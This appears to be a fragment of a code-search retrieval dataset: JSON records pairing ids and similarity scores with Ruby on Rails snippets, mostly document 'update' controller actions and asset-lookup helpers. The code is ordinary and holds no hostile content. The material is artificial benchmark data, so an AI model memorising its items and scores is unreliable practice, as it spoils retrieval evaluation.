DocumentType.find(params[:id])\n\n respond_to do |format|\n if @document_type.update_attributes(params[:document_type])\n format.html { redirect_to @document_type, notice: 'Document type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @document_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "deba801b23960e2df018f9699ccc66d4", "score": "0.6262096", "text": "def update\n @document = current_user.documents.find(params[:id])\n respond_to do |format|\n if @document.update(document_params)\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n format.json { render :show, status: :ok, location: @document }\n else\n format.html { render :edit }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0b83121fe2bfbe8cd2f5018131db981c", "score": "0.62600976", "text": "def update\n save_doc\n end", "title": "" }, { "docid": "79d8a21129dcf52d5729e2e6463440f2", "score": "0.6252064", "text": "def update\n @doc = Doc.find(params[:id])\n # do a check to make sure the editor hasn't incremented the version without making a new doc first - if true then create new doc instead\n @version = params[:doc][:dev_stage] + \" \" + params[:doc][:maj_version] + \".\" + params[:doc][:min_version]\n\t\tunless @doc.get_version == @version\n\t\t\t@new_doc = Doc.new(params[:doc])\n\t\t\t# increment the url as necessary\n\t\t\tif @new_doc.maj_version > @doc.maj_version\n\t\t\t\turl_parts = @new_doc.url.split(\"-\")\n\t\t\t\turl_parts[url_parts.size - 2] = @new_doc.maj_version\n\t\t\t\turl_parts[url_parts.size - 1] = @new_doc.min_version\n\t\t\t\t@new_doc.url = url_parts.join(\"-\")\n\t\t\telsif @new_doc.maj_version == @doc.maj_version && @new_doc.min_version > @doc.min_version\n\t\t\t\turl_parts = @new_doc.url.split(\"-\")\n\t\t\t\turl_parts[url_parts.size - 1] = @new_doc.min_version\n\t\t\t\t@new_doc.url = url_parts.join(\"-\")\n\t\t\telse\n\t\t\t\t# default case where possibly the editor has graduated the dev stage to something different, will completely rebuild url using create_url at save\n\t\t\t\t@new_doc.url = \"\"\n\t\t\tend\n\t\t\t@new_doc.save\n\t\t\tredirect_to @new_doc, alert: \"You have incremented the version for this doc, so a new doc was created with the version \\\"#{@version}\\\" instead.\" and return\n\t\tend\n\t\t\n respond_to do |format|\n if @doc.update_attributes(params[:doc])\n format.html { redirect_to @doc, notice: \"\\\"#{@doc.component}\\\" was successfully updated.\" }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @doc.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "efef64a5d109da85935c33a337d5c0fe", "score": "0.62487715", "text": "def update\n respond_to do |format|\n if @tucdoc.update(tucdoc_params)\n format.html { redirect_to @tucdoc, notice: 'Tucdoc was successfully updated.' }\n format.json { render :show, status: :ok, location: @tucdoc }\n else\n format.html { render :edit }\n format.json { render json: @tucdoc.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b8d18e342cf219638c7081e4a762fd1d", "score": "0.62436354", "text": "def update\n @document_format = DocumentFormat.find(params[:id])\n\n respond_to do |format|\n if @document_format.update_attributes(params[:document_format])\n format.html { redirect_to document_formats_url, notice: 'Document format was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @document_format.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "af747a01bc1319dfe26b398fe37a8bc3", "score": "0.6242777", "text": "def update\n respond_to do |format|\n if @freelance_document.update(freelance_document_params)\n format.html { redirect_to @freelance_document, notice: 'Freelance document was successfully updated.' }\n format.json { render :show, status: :ok, location: @freelance_document }\n else\n format.html { render :edit }\n format.json { render json: @freelance_document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ea9afadd125ed5f56db97910426f5282", "score": "0.62344193", "text": "def update\n @documentotipo = Documentotipo.find(params[:id])\n\n respond_to do |format|\n if @documentotipo.update_attributes(params[:documentotipo])\n format.html { redirect_to @documentotipo, notice: 'Documentotipo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @documentotipo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "45b5fffe10cedbb7cabf7fc886c67ca2", "score": "0.6232831", "text": "def update\n respond_to do |format|\n if @cdocument.update(cdocument_params)\n format.html { redirect_to @cdocument, notice: 'Cdocument was successfully updated.' }\n format.json { render :show, status: :ok, location: @cdocument }\n else\n format.html { render :edit }\n format.json { render json: @cdocument.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "df7753b3d5e6c28eb311ad53136e0672", "score": "0.6230896", "text": "def set_functional_design_document\n @functional_design_document = FunctionalDesignDocument.find(params[:id])\n end", "title": "" }, { "docid": "c981e2064f63aabf10d6687ca92720e8", "score": "0.6215305", "text": "def update\n respond_to do |format|\n if @documents_person.update(documents_person_params)\n format.html { redirect_to @documents_person, notice: 'Documents person was successfully updated.' }\n format.json { render :show, status: :ok, location: @documents_person }\n else\n format.html { render :edit }\n format.json { render json: @documents_person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "336a13703eeb2b2db3ffcb5647190ff3", "score": "0.6212899", "text": "def update\n respond_to do |format|\n if @docs_ponto.update(docs_ponto_params)\n format.html { redirect_to :back }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @docs_ponto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bc81841631db2dba98210dac02384cb2", "score": "0.6211107", "text": "def update\n @document = Document.find(params[:id])\n\n respond_to do |format|\n if @document.update_attributes(params[:document].merge({:updated_by => current_user}))\n format.html { redirect_to edit_admin_document_path(@document), notice: '<strong>Success!</strong> The document was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "080e397f269edd67f0442789b51e7383", "score": "0.61975384", "text": "def update\n @document = Document.find(params[:id])\n\n respond_to do |format|\n if @document.update_attributes(params[:document])\n flash[:notice] = t('item.updated', :item => t('document.document'))\n format.html { redirect_to admin_document_path(@document) }\n format.xml { head :ok }\n else\n @categories = Category.find_all_by_section_identifier(@document.section_identifier)\n flash.now[:error] = t('item.not_updated', :item => t('document.document'))\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "665788b36c6b2ce63bd3c9d8a6dea490", "score": "0.61927253", "text": "def update\n respond_to do |format|\n if @document.update(document_params)\n format.html { redirect_to @document, success: 'Documento actualizado con éxito.' }\n format.json { render :show, status: :ok, location: @document }\n else\n format.html { render :edit }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "60de3717d19b7ef7442870edd040c33a", "score": "0.61875606", "text": "def update\r\n @customer_document = CustomerDocument.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @customer_document.update_attributes(params[:customer_document])\r\n format.html { redirect_to @customer_document, notice: 'Customer document was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @customer_document.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "1c1fb63524214df3afe3aa4d66c36947", "score": "0.6183789", "text": "def update\n @squadron_document = SquadronDocument.find(params[:id])\n\n respond_to do |format|\n if @squadron_document.update_attributes(params[:squadron_document])\n format.html { redirect_to @squadron_document, :notice => 'Squadron document was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @squadron_document.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dfcdf09230bfbe22dcb63a1cdd42a4b9", "score": "0.6173323", "text": "def update\n @tdoc = Tdoc.find(params[:id])\n \n respond_to do |format|\n if @tdoc.update_attributes(params[:tdoc])\n format.html { redirect_to @tdoc, notice: 'Tdoc was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tdoc.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d1081755790b0db8f6f07d8a68a577d3", "score": "0.6164855", "text": "def update\n respond_to do |format|\n if @shared_document.update(shared_document_params)\n format.html { redirect_to @shared_document, notice: 'Shared document was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @shared_document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d447580a3d2a16354cf20c9e254cea8f", "score": "0.61614734", "text": "def update\n @document = Document.find(:first, :conditions => [\"id = ?\", params[:id]])\n\n respond_to do |format|\n if @document.update_attributes(params[:document])\n flash[:notice] = 'Document was successfully updated.'\n format.html { redirect_to(@document) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "698a79109b0014e2cc8eb12dd1857672", "score": "0.6157673", "text": "def update\n @doc.refused = false\n @doc.logs += \"Документ отредактирован #{DateTime.now}. <br> Документ повторно отправлен на подпись #{@doc.signer.name_with_initial}<br>\"\n respond_to do |format|\n if @doc.update(doc_params)\n format.html { redirect_to @doc, notice: 'Doc was successfully updated.' }\n format.json { render :show, status: :ok, location: @doc }\n else\n format.html { render :edit }\n format.json { render json: @doc.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "809fc20bde65baeee843d625e3438685", "score": "0.6156742", "text": "def update\n authorize @document\n\n respond_to do |format|\n if @document.update(document_params)\n flash_label = \"Document was successfully updated.\"\n flash.now[:notice] = flash_label\n\n format.html { redirect_to @document, notice: flash_label }\n format.json { render :show, status: :ok, location: @document }\n format.js\n else\n format.html { render :edit }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end", "title": "" }, { "docid": "92056b12a0d627803baf5cd1c0bd2c74", "score": "0.6155346", "text": "def update\n respond_to do |format|\n if @doc_template.update(doc_template_params)\n format.html { redirect_to @doc_template, notice: 'Doc template was successfully updated.' }\n format.json { render :show, status: :ok, location: @doc_template }\n else\n format.html { render :edit }\n format.json { render json: @doc_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "263be37b2f6b1323bfdf9ac5f4b4dbcb", "score": "0.6150895", "text": "def update\n respond_to do |format|\n if @document.update_attributes(params[:document])\n save_log({ :action => 'EDIT', :document => { :before => @old_document, :after => @document}})\n flash[:notice] = 'Document was successfully updated.'\n format.html { redirect_to(@document) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "24ef7a405893b630cbde5749ebdd25b3", "score": "0.6150365", "text": "def update\n @quality_document = QualityDocument.find(params[:id])\n\n respond_to do |format|\n if @quality_document.update_attributes(quality_document_params)\n format.html { redirect_to quality_documents_path, notice: 'Quality document was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @quality_document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ad05c85b1a68e04a0db1a05d6357ddd5", "score": "0.6148983", "text": "def update\n respond_to do |format|\n if @document_file.update(document_file_params)\n format.html { redirect_to edit_document_path(@document), notice: 'Document file was successfully updated.' }\n format.json { render json: 'ok', status: :ok, location: @document_file }\n else\n format.html { render :edit }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "eb5d2d7cd4e473c594cd208ce00b65fd", "score": "0.61458135", "text": "def update\n respond_to do |format|\n if @trial_document.update(trial_document_params)\n format.html { redirect_to @trial_document, notice: 'Trial document was successfully updated.' }\n format.json { render :show, status: :ok, location: @trial_document }\n else\n format.html { render :edit }\n format.json { render json: @trial_document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c9b672ee8dec3683bebaba6468706cdd", "score": "0.6140935", "text": "def update\n @document.product_id = document_params[:product_id] #入力時に選択した製品のidを、documentの外部 key として記録\n respond_to do |format|\n if @document.update(document_params)\n format.html { redirect_to @document, notice: \"Document was successfully updated.\" }\n format.json { render :show, status: :ok, location: @document }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "562db57a5bd2c695d83f0335750cc597", "score": "0.61333174", "text": "def update\n respond_to do |format|\n if @family_document.update(family_document_params)\n format.html { redirect_to @family_document, notice: \"Family document was successfully updated.\" }\n format.json { render :show, status: :ok, location: @family_document }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @family_document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e01ab875a883b7131afeb8527cc891cf", "score": "0.61307806", "text": "def update\n @project = @document.project\n respond_to do |format|\n if @document.update(document_params)\n format.html { redirect_back fallback_location: project_documents_path(@project), notice: 'The document was successfully updated.' }\n format.json { render :show, status: :ok, location: @document }\n else\n format.html { render :edit }\n format.json { render json: {error: @document.errors}, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
d66ca9761f62d2e0989113b4e15e7433
Returns the controllerlevel asset for the given type, or nil.
[ { "docid": "3554669cd513f192b5dbcca574a64f65", "score": "0.77277344", "text": "def controller_asset(type)\n Tension::Utils.find_asset( controller: controller.controller_path, type: type )\n end", "title": "" } ]
[ { "docid": "a3529414f92fc825cb40ff3cbdbc7962", "score": "0.6460385", "text": "def best_asset(action, type)\n action_asset(action, type) || controller_asset(type)\n end", "title": "" }, { "docid": "68fbc6e8cd31a4ed5dc3a5ae0c76a7ce", "score": "0.61895037", "text": "def category\n if asset_type.nil? then\n Library::UNCATEGORISED_CATEGORY\n else\n asset_type.asset_category.name\n end\n end", "title": "" }, { "docid": "68fbc6e8cd31a4ed5dc3a5ae0c76a7ce", "score": "0.61895037", "text": "def category\n if asset_type.nil? then\n Library::UNCATEGORISED_CATEGORY\n else\n asset_type.asset_category.name\n end\n end", "title": "" }, { "docid": "3114e657ff2aa9fe9396f428c4795051", "score": "0.6083741", "text": "def category\n if asset_type.blank? then\n Library::UNCATEGORISED_CATEGORY\n else\n asset_type.asset_category.name\n end\n end", "title": "" }, { "docid": "8ed5e4c8008b91f6ac54ce16ce13c8b2", "score": "0.60799575", "text": "def fetch_assets\n if @parent_resource\n @parent_resource.get_related(controller_name.classify)\n else\n if controller_model == SampleType && Seek::Config.project_single_page_advanced_enabled\n return SampleType.without_template\n end\n\n controller_model\n end\n end", "title": "" }, { "docid": "1266f3362336e6ec0e6cf76213388ecb", "score": "0.60180223", "text": "def action_asset(action, type)\n Tension::Utils.find_asset( controller: controller.controller_path, action: action, type: type )\n end", "title": "" }, { "docid": "0e8d034204bc839c062cd281417456a5", "score": "0.590915", "text": "def main_asset\n assets = resource_assets\n unless assets.nil?\n return assets[\"1\"] \n end\n end", "title": "" }, { "docid": "ca4a978cd89823908226ebc38cf27929", "score": "0.5881704", "text": "def global_asset(type)\n Tension.environment.find_asset( \"application.#{type}\" )\n end", "title": "" }, { "docid": "515ad869e3f7b46cdd2c0032ae9a7e01", "score": "0.58455473", "text": "def neo_asset_get_asset_type\n raise NotImplementedError\n end", "title": "" }, { "docid": "1c5f12ae6d05fa390dbc4cf95f34d2ac", "score": "0.5786364", "text": "def get_resource_named(type)\n klass = OneviewSDK.resource_named(type)\n raise \"Invalid OneView Resource type '#{type}'\" unless klass\n klass\n end", "title": "" }, { "docid": "3e0ade803d18af41853aad2d09d53306", "score": "0.57082236", "text": "def asset\n\t\tassets.first\n\tend", "title": "" }, { "docid": "1df6324bc737f15bb6a45b940488b327", "score": "0.5647371", "text": "def getResource(type)\n if !type.nil?\n paramHash = Hash.new\n paramHash[\"context\"] = \"resources\"\n paramHash[\"filter\"] = {\"type\" => type}\n paramHash[\"fields\"] = \"*\"\n\n resource = getCloudmunchData(paramHash)\n\n if resource.nil?\n log(\"DEBUG\", \"Unable to retrieve resource for this type\")\n return nil\n else\n return resource\n end\n else\n log(\"DEBUG\", \"Type needs to be provided to retrieve resource!\")\n return nil\n end\n end", "title": "" }, { "docid": "a44a05dd079fffcd79baef79004b6d1c", "score": "0.56166697", "text": "def asset_category(asset)\n categories.find { |category, assets| assets.include?(asset) }.first\n end", "title": "" }, { "docid": "57767fc54cca8c665336bb63fbc40c38", "score": "0.55662096", "text": "def get_controller(disk_type)\n if disk_type =~/ide/\n controller = \"PIIX4\"\n end\n if disk_type =~/sata/\n controller = \"IntelAhci\"\n end\n if disk_type =~/scsi/\n controller = \"LsiLogic\"\n end\n return(controller)\nend", "title": "" }, { "docid": "6da9f5fc9c3456b33165b630fd714ccb", "score": "0.55585086", "text": "def show\n @asset_type = AssetType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @asset_type }\n end\n end", "title": "" }, { "docid": "11d3216bca09199f12b74b6f5cc8ae13", "score": "0.5539967", "text": "def resource_type\n return \"Asset\" if self.class.curation_concern_type == GenericWork\n self.class.curation_concern_type\n end", "title": "" }, { "docid": "3e11d35e51613c6da830eccf278cadae", "score": "0.55344355", "text": "def asset_type\n MotionAL.asset_types.key(@al_asset.valueForProperty(ALAssetPropertyType))\n end", "title": "" }, { "docid": "7e692c6a7a993e1e365bc358518e2545", "score": "0.55048054", "text": "def level\n if @level\n @level\n elsif self.component_type\n self.component_type.name\n else\n nil\n end\n end", "title": "" }, { "docid": "135a7167417bb614be33a543baa972b0", "score": "0.54398525", "text": "def set_asset_type\n @asset_type = AssetType.find(params[:id])\n end", "title": "" }, { "docid": "135a7167417bb614be33a543baa972b0", "score": "0.54398525", "text": "def set_asset_type\n @asset_type = AssetType.find(params[:id])\n end", "title": "" }, { "docid": "7659422e6129e81cbf48fd08f16e7bf9", "score": "0.54173493", "text": "def get_packer(type)\n type = type.to_s.capitalize\n\n begin\n Palmade::AssetPackager::Packers.const_get(type)\n rescue NameError\n begin\n Palmade::AssetPackager::Packers.const_get(type[0..-2])\n rescue NameError\n raise \"Packer for #{type} not found\"\n end\n end\n end", "title": "" }, { "docid": "55be0ead5095cde580c671daaed8e63c", "score": "0.5414851", "text": "def asset_type\n super.try!(:to_sym)\n end", "title": "" }, { "docid": "a01a5a0e5ea6e52b3a8f15591234d905", "score": "0.539641", "text": "def select(type)\n RENDERER_MAPPER[type || :basic]\n end", "title": "" }, { "docid": "dce8ebbe2b13a84398c634979a78407a", "score": "0.5354919", "text": "def get_collector_image(type)\n object_manager.get_collector_image(type)\n end", "title": "" }, { "docid": "1ef8602c9c073793028712cca7e90b95", "score": "0.5340753", "text": "def asset\n @asset ||= (self.assets.first || AssetHost::Asset::Fallback.new)\n end", "title": "" }, { "docid": "6e5d36ffbda8da69d1d7959c00c21d5c", "score": "0.5340358", "text": "def creative_type\n if resource_type == :static\n source_node.at('StaticResource')[:creativeType]\n end\n end", "title": "" }, { "docid": "6e5d36ffbda8da69d1d7959c00c21d5c", "score": "0.5340358", "text": "def creative_type\n if resource_type == :static\n source_node.at('StaticResource')[:creativeType]\n end\n end", "title": "" }, { "docid": "6e5d36ffbda8da69d1d7959c00c21d5c", "score": "0.5340358", "text": "def creative_type\n if resource_type == :static\n source_node.at('StaticResource')[:creativeType]\n end\n end", "title": "" }, { "docid": "0d8bf7acc667b8624248d54ad0ea9942", "score": "0.5334964", "text": "def asset_path(type, source)\n case type.to_sym\n when :css ; stylesheet_path(source)\n when :js ; javascript_path(source)\n else\n raise %{\n Unknown type \"#{type}\"; should be one of:\n #{AssetHat::TYPES.join(', ')}.\n }.squish!\n end\n end", "title": "" }, { "docid": "29c817a3ddb88c8a521fdf1177622e96", "score": "0.5318436", "text": "def controller_js\n js = params[:controller]\n Rails.application.assets.find_asset(params[:controller]+\".js\") || Rails.application.assets.find_asset(params[:controller]+\".js.coffee\") ? js : nil\n end", "title": "" }, { "docid": "ee66ef040329b24078876370949cce6c", "score": "0.5294214", "text": "def resource\n resource_id = self.classpk\n #logger.debug \"Looking up resource #{resource_id}\"\n\n _class = Classname.model(Classname.find(self.classnameid).value)\n if _class\n if _class==Wiki::Page\n Wiki::Page.find(:first,\n :conditions => \"resourceprimkey=#{resource_id}\", :order => \"version DESC\")\n\n elsif _class==Journal::Article\n Journal::Article.find(:first,\n :conditions => \"resourceprimkey=#{resource_id}\", :order => \"version DESC\")\n\n else\n _class.find resource_id\n end\n\n else\n logger.warn \"Resource #{resource_id} of asset #{self.id} was left unresolved\"\n return nil\n end\n end", "title": "" }, { "docid": "66aa3c669566f97ac0c0cffeb9225adf", "score": "0.52916086", "text": "def default_lens_controller(_scope = nil)\n result = self\n result = result.controller if result.respond_to?(:controller)\n if result.respond_to?(:default_catalog_controller)\n result.default_catalog_controller\n elsif result.class.respond_to?(:default_catalog_controller) # NOTE: 0% coverage for this case\n result.class.default_catalog_controller\n elsif result.is_a?(Blacklight::Catalog) # NOTE: 0% coverage for this case\n result\n end\n end", "title": "" }, { "docid": "a89bd41f83d3c133dec6a69d9d63e750", "score": "0.5276962", "text": "def controller(data)\n path = data.get(:path)\n path = path.native if path.is_a?(WAB::Data)\n return path_controller(path) unless path.nil? || (path.length <= @path_pos)\n\n content = data.get(:content)\n return @controllers[content.get(@type_key)] || default_controller unless content.nil?\n\n default_controller\n end", "title": "" }, { "docid": "32989c29d8afc29fc772777c41efa6ab", "score": "0.52624613", "text": "def get_entity_of_type(type)\r\n if Entity.is_entity_type?(type)\r\n if defined? @entities[type]\r\n return @entities[type]\r\n else\r\n return nil\r\n end\r\n else\r\n raise \"! Unknown entity type: #{type}\"\r\n end\r\n end", "title": "" }, { "docid": "af976a919f4d1773ff95bc82eaccc323", "score": "0.52606434", "text": "def findController(element: nil, type: nil)\n return application.controllers.find do |controller|\n (not element or controller.element == element) and\n (not type or controller.is_a? type)\n end\n end", "title": "" }, { "docid": "6d6b2cd2d8ef7fbc00a2258cce3e156b", "score": "0.52490234", "text": "def asset_type\n :app_asset\n end", "title": "" }, { "docid": "6dd77558b2c3b40c3d5f06ada37b2546", "score": "0.52436787", "text": "def set_assettype\n @assettype = Assettype.find(params[:id])\n end", "title": "" }, { "docid": "6f93f1c2051cc9dec9bf7de3734930c1", "score": "0.5237882", "text": "def get( type, id )\n return if !valid_class?( type )\n\n # begin\n location = savedir + Report.get( id ).filename + EXTENSION\n\n # if it's the default report type don't waste time converting\n if '.' + type == EXTENSION\n return File.read( location )\n else\n return convert( type, ::Arachni::AuditStore.load( location ) )\n end\n # rescue Exception => e\n # ap e\n # ap e.backtrace\n # return nil\n # end\n end", "title": "" }, { "docid": "9f3b62d61517bd33b5c74a2da16a1e4e", "score": "0.5231419", "text": "def type\n @type ||= self.class.to_s.downcase.sub( /resource/, '' )\n end", "title": "" }, { "docid": "21210a21dd8ff07d53c13a59e79bcb0e", "score": "0.52217126", "text": "def first_available_controller(role)\n controllers.select{|c| role.has_permission(c, 'index')}.first\n end", "title": "" }, { "docid": "9fa98b3ba4e154880b4b17ad75dce0f6", "score": "0.522122", "text": "def get_acct_type\r\n if controller_name == 'bank_accounts'\r\n 'bank'\r\n elsif controller_name == 'card_accounts'\r\n 'card'\r\n else\r\n 'sub'\r\n end\r\n end", "title": "" }, { "docid": "c88d8a163ce3e0a78830731125cd43c6", "score": "0.52167493", "text": "def get_category_type\r\n @category_type.code\r\n end", "title": "" }, { "docid": "126aa64d14d83dbd529590cae99c2b86", "score": "0.52081645", "text": "def current_controller_contact_type\n eval = controller.controller_name.upcase.singularize\n case\n when eval == \"INDIVIDUAL\"\n return ContactType::INDIVIDUAL.id\n when eval == \"ORGANIZATION\"\n return ContactType::ORGANIZATION.id\n when eval == \"HOUSEHOLD\"\n return ContactType::HOUSEHOLD.id\n else\n return nil\n end\n end", "title": "" }, { "docid": "ef67eddb5ba4daa3430b8976f9f6efc6", "score": "0.52013874", "text": "def get_type\n @type = params[:type] || 'import'\n end", "title": "" }, { "docid": "a1782eb3e87a8ec1362867f91ab0a30a", "score": "0.5200722", "text": "def creative_type\n @source_node.at('StaticResource')[:creativeType] \\\n if resource_type == :static\n end", "title": "" }, { "docid": "cef2d93045bdcdaf26779871b9b9db63", "score": "0.5190502", "text": "def match_simple_asset_type?(asset_type)\n asset_types.first && asset_types.first.asset_type == asset_type\n end", "title": "" }, { "docid": "7aecc3f352170b614b9d6b19917e7654", "score": "0.5188917", "text": "def current_type\n controller_name.classify\n end", "title": "" }, { "docid": "56e642d00f2944ff396909bc158f6ae3", "score": "0.51801354", "text": "def asset_class\n return GenericAsset\n end", "title": "" }, { "docid": "32da915841d3f10d191a48afb7057767", "score": "0.5174048", "text": "def collected_type\n current_type = params.fetch(:type, categorized_types.first)\n return current_type if categorized_types.include?(current_type)\n end", "title": "" }, { "docid": "e8c6178466bc10a212de6c5b28c319be", "score": "0.51563865", "text": "def lookup_resource_type resource_type\n @resource_types[resource_type]\n end", "title": "" }, { "docid": "f84296ff535caf7c25f71135005220f7", "score": "0.515303", "text": "def type\n @type || load_and_return(:@type)\n end", "title": "" }, { "docid": "c5035c755aa97e710cd94088fe35ad3e", "score": "0.5152204", "text": "def klass(a_kind=nil)\n [FileAsset].each do |subclass|\n return subclass if subclass.kind == a_kind\n end\n Asset\n end", "title": "" }, { "docid": "311771248b3d5de66984b0ba8f938e13", "score": "0.51354843", "text": "def get_as_type_or_null json_path, type, json=nil\n value = get json_path, json\n value.nil? ? value : get_as_type(json_path, type, json)\n end", "title": "" }, { "docid": "0c8e73bdb636be23d38614f49aa1234f", "score": "0.5115247", "text": "def model\n ResourceType.find(resource_type_id).model\n end", "title": "" }, { "docid": "0c8e73bdb636be23d38614f49aa1234f", "score": "0.5115247", "text": "def model\n ResourceType.find(resource_type_id).model\n end", "title": "" }, { "docid": "6217daad118c66ff0e97cbaa2963e75a", "score": "0.5112152", "text": "def default_lens_controller(scope = nil)\n scope ||= self\n scope = scope.controller if scope.respond_to?(:controller)\n if scope.respond_to?(:default_catalog_controller)\n scope.default_catalog_controller\n elsif lens_key_for(scope, false)\n scope\n end\n end", "title": "" }, { "docid": "4187adbfea32577250b729f5fc625abb", "score": "0.5109996", "text": "def find(type)\n children.find { |c| c.try(:type) == type }\n end", "title": "" }, { "docid": "91015a566bfc5bb1d3b13697133b741e", "score": "0.5106716", "text": "def get_script type\n result = nil\n self.scripts.each do |script|\n if script.stype.to_sym == type.to_sym\n result = script.attach.path\n end\n end\n result\n end", "title": "" }, { "docid": "638eb891c1e1fcf74273f0ba7202bb0d", "score": "0.5100844", "text": "def resourceType\n 'Substance'\n end", "title": "" }, { "docid": "ebc42bbe1a5223086e2c04dd7c9216c3", "score": "0.5100203", "text": "def dir_for(type) self.slice_paths[type].first end", "title": "" }, { "docid": "ebc42bbe1a5223086e2c04dd7c9216c3", "score": "0.5100189", "text": "def dir_for(type) self.slice_paths[type].first end", "title": "" }, { "docid": "30f7f0aa2adb499fd837e9bfc637984b", "score": "0.5096911", "text": "def get(name)\n rule = rule(name)\n rule && rule.asset\n end", "title": "" }, { "docid": "f63ea0cab00d479ef5a50152df860a36", "score": "0.50900704", "text": "def main_image(node_type = :all)\n if self.images.length > 0 && node_type != :drupal\n self.images.last \n elsif self.drupal_main_image && node_type != :rails\n self.drupal_main_image.drupal_file \n else\n nil\n end\n end", "title": "" }, { "docid": "9c37b789edef236d04392f2879efa545", "score": "0.50861454", "text": "def find_controller(name)\n return @controllers[0] if !name # return default controller\n @controllers.each do |controller|\n return controller if (controller.name == name)\n end\n nil # not found\n end", "title": "" }, { "docid": "9496aa261d40f0cd364496e944ef2b3a", "score": "0.50855315", "text": "def type\n types.first\n end", "title": "" }, { "docid": "5251a1f555dab9fbf0ba5880c044c10f", "score": "0.50828594", "text": "def view(type)\n views.each { |v| return v if v.type.id =~ /^#{Regexp.escape(type)}$/}\n nil\n end", "title": "" }, { "docid": "5251a1f555dab9fbf0ba5880c044c10f", "score": "0.50828594", "text": "def view(type)\n views.each { |v| return v if v.type.id =~ /^#{Regexp.escape(type)}$/}\n nil\n end", "title": "" }, { "docid": "5eff2a1e799e2d242e7ed88f5350fe9b", "score": "0.5071818", "text": "def show\n @type = Type.find(params[:id])\n end", "title": "" }, { "docid": "f2ccd6409594ff0b9fb444142b773c15", "score": "0.5071621", "text": "def type_label\n ::RDF::URI(asset_type).path.split(\"/\").last.underscore.humanize.downcase\n end", "title": "" }, { "docid": "f2ccd6409594ff0b9fb444142b773c15", "score": "0.5071621", "text": "def type_label\n ::RDF::URI(asset_type).path.split(\"/\").last.underscore.humanize.downcase\n end", "title": "" }, { "docid": "df61f0252556bbb3177427f80deb4840", "score": "0.50663906", "text": "def get_category_type_id\n category_type ? category_type.id : 0\n end", "title": "" }, { "docid": "a8caac7f3b10401c63d23abd6bc505ef", "score": "0.5065581", "text": "def type\n return nil if info.nil?\n\n info[:type]\n end", "title": "" }, { "docid": "f02a781aa85ac8b528fe670417da1dc5", "score": "0.50617814", "text": "def get_category_type_code\n category_type ? category_type.code : '?'\n end", "title": "" }, { "docid": "f02a781aa85ac8b528fe670417da1dc5", "score": "0.50617814", "text": "def get_category_type_code\n category_type ? category_type.code : '?'\n end", "title": "" }, { "docid": "3384c842dd97549da330f631f2700625", "score": "0.50524074", "text": "def get_category_type\n @category_type_code\n end", "title": "" }, { "docid": "a394a921e5186f09ba6214ea457335d8", "score": "0.50509214", "text": "def type\n types.first\n end", "title": "" }, { "docid": "a6bb0bd8ff37c8f661f61f7640b019b7", "score": "0.5038492", "text": "def resourceType\n 'Substance'\n end", "title": "" }, { "docid": "fdb7df0d5910baa13a5404cd3007c01e", "score": "0.5036094", "text": "def get_materials_item(id, type)\n\n rubyclass = @@supported_material_types[type]\n\n if rubyclass\n\n includes = [ :user,\n 